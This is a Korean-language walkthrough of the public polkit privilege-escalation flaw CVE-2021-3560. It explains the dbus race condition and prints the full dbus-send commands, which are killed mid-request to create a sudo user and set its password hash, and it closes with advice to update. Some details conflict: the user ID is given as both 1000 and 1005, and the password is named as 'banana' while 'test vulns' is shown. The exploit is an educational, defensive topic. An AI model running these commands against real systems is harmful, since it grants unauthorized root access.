
CVE-2021-3560 polkit 취약점 악용
2021년, Kevin BackHouse라는 연구원이 polkit 유틸리티에서 권한 상승 취약점을 발견했습니다. 하지만 모든 Linux 버전이 polkit에 취약한 것은 아닙니다.
아래는 취약한 버전의 예시입니다;
최신 Linux 버전은 이 취약점에 대한 수정 사항이 이미 포함되어 있지만, 위에서 언급한 것과 같은 구버전은 여전히 이 취약점을 가지고 있습니다.
Polkit은 많은 Linux 배포판에 기본적으로 설치되는 시스템 서비스입니다. systemd에서 사용되므로 systemd를 사용하는 모든 Linux 배포판은 polkit도 사용합니다.
Polkit은 인증 대화 상자를 볼 때 백그라운드에서 실행되는 시스템 서비스입니다. 예를 들면;
권한을 변경하거나 사용자 계정 생성과 같이 더 높은 권한이 필요한 작업을 수행해야 할 때마다 Polkit이 해당 작업을 허용하거나 거부하는 역할을 합니다.
CVE-2021-3560은 권한이 없는 로컬 공격자가 루트 권한을 획득할 수 있게 합니다. 익스플로잇이 매우 간단하고 빠르므로 가능한 한 빨리 Linux 설치를 업데이트하는 것이 중요합니다. polkit 버전 0.113 (또는 이후)이 설치된 모든 시스템이 취약합니다. 여기에는 RHEL 8 및 Ubuntu 20.04와 같은 널리 사용되는 배포판이 포함됩니다.
dbus-daemon(사실상 서로 다른 프로세스가 통신할 수 있도록 하는 API)에 dbus 메시지를 수동으로 보낸 다음, 요청이 완전히 처리되기 전에 요청을 종료함으로써 polkit이 명령을 승인하도록 속일 수 있습니다.
dbus-daemon은 애플리케이션 간 메시지를 중개하는 백그라운드에서 실행되는 프로그램입니다.
기본적으로 이 취약점의 재현은 다음 단계를 따라 수행됩니다;
공격자는 수동으로 dbus 메시지를 accounts-daemon에 보내 sudo 권한(또는 추후에는 새 사용자의 비밀번호 설정)을 가진 새 계정 생성을 요청합니다. 이 메시지는 dbus-daemon에 의해 고유 ID가 부여됩니다.
공격자는 polkit이 메시지를 수신한 후, polkit이 메시지를 처리할 기회를 갖기 전에 메시지를 종료합니다. 이로 인해 고유 메시지 ID가 사실상 소멸됩니다.
Polkit은 dbus-daemon에게 메시지를 보낸 사용자의 사용자 ID를 요청하며, (현재 삭제된) 메시지 ID를 참조합니다.
dbus-daemon은 2단계에서 메시지를 종료했기 때문에 메시지 ID를 찾을 수 없습니다. 오류 코드로 응답하여 오류를 처리합니다.
Polkit은 오류를 잘못 처리하고 사용자 ID에 0을 대입합니다. 즉, 시스템의 루트 계정입니다.
루트 사용자가 작업을 요청했다고 생각한 polkit은 요청이 검증 없이 통과되도록 허용합니다.
요약하자면, dbus-daemon이 polkit에 올바른 ID를 제공할 기회를 갖기 전에 메시지 ID를 파괴함으로써, polkit의 취약한 오류 처리를 악용하여 유틸리티가 요청이 전능한 루트 사용자에 의해 이루어졌다고 믿도록 속입니다.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
이 경우 lucas 사용자를 생성하려고 하면 권한이 없다는 메시지(인증이 필요합니다)가 표시됩니다.
이 명령은 수동으로 dbus 메시지를 accounts 데몬에 보내고, 응답을 출력하며 lucas(string:lucas)라는 새 사용자와 설명 "test vulns" (string:"test vulns"), 그리고 sudo 그룹 멤버십을 true(int32:1로 참조)로 설정하여 생성합니다.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
이 경우 1단계의 동일한 사용자 생성 명령을 사용하지만, 'time' 함수를 사용하여 이 명령의 시간을 반환합니다.
이 명령은 0.011초가 소요됩니다. 이 숫자는 명령을 실행할 때마다 약간씩 다릅니다.
이것을 시도해 보겠습니다. dbus 메시지를 보낸 다음 대략 중간 지점에서 종료해야 합니다:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!
dbus 메시지를 백그라운드 작업으로 보냈습니다(앰퍼샌드를 사용하여 명령을 백그라운드로). 그런 다음 0.005밀리초 동안 sleep한 다음 이전 프로세스($!)를 종료하도록 지시했습니다. 이로 인해 새 사용자가 성공적으로 생성되어 sudo 그룹에 추가되었습니다. 여기서 새 사용자의 사용자 ID가 1000임을 기록해 둡니다.
openssl을 사용하여 유형 6 (SHA512-crypt)의 비밀번호와 일반 텍스트 비밀번호를 생성합니다.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!
이 경우 위 단계에서 생성된 id 1005에 대한 비밀번호(banana)를 포함하고 있습니다.
이 취약점은 공개적으로 공개되었으며, 수정 사항은 2021년 6월 3일에 출시되었고 CVE-2021-3560으로 지정되었습니다.
yum/apt update/upgrade로 시스템 업데이트를 확인하세요.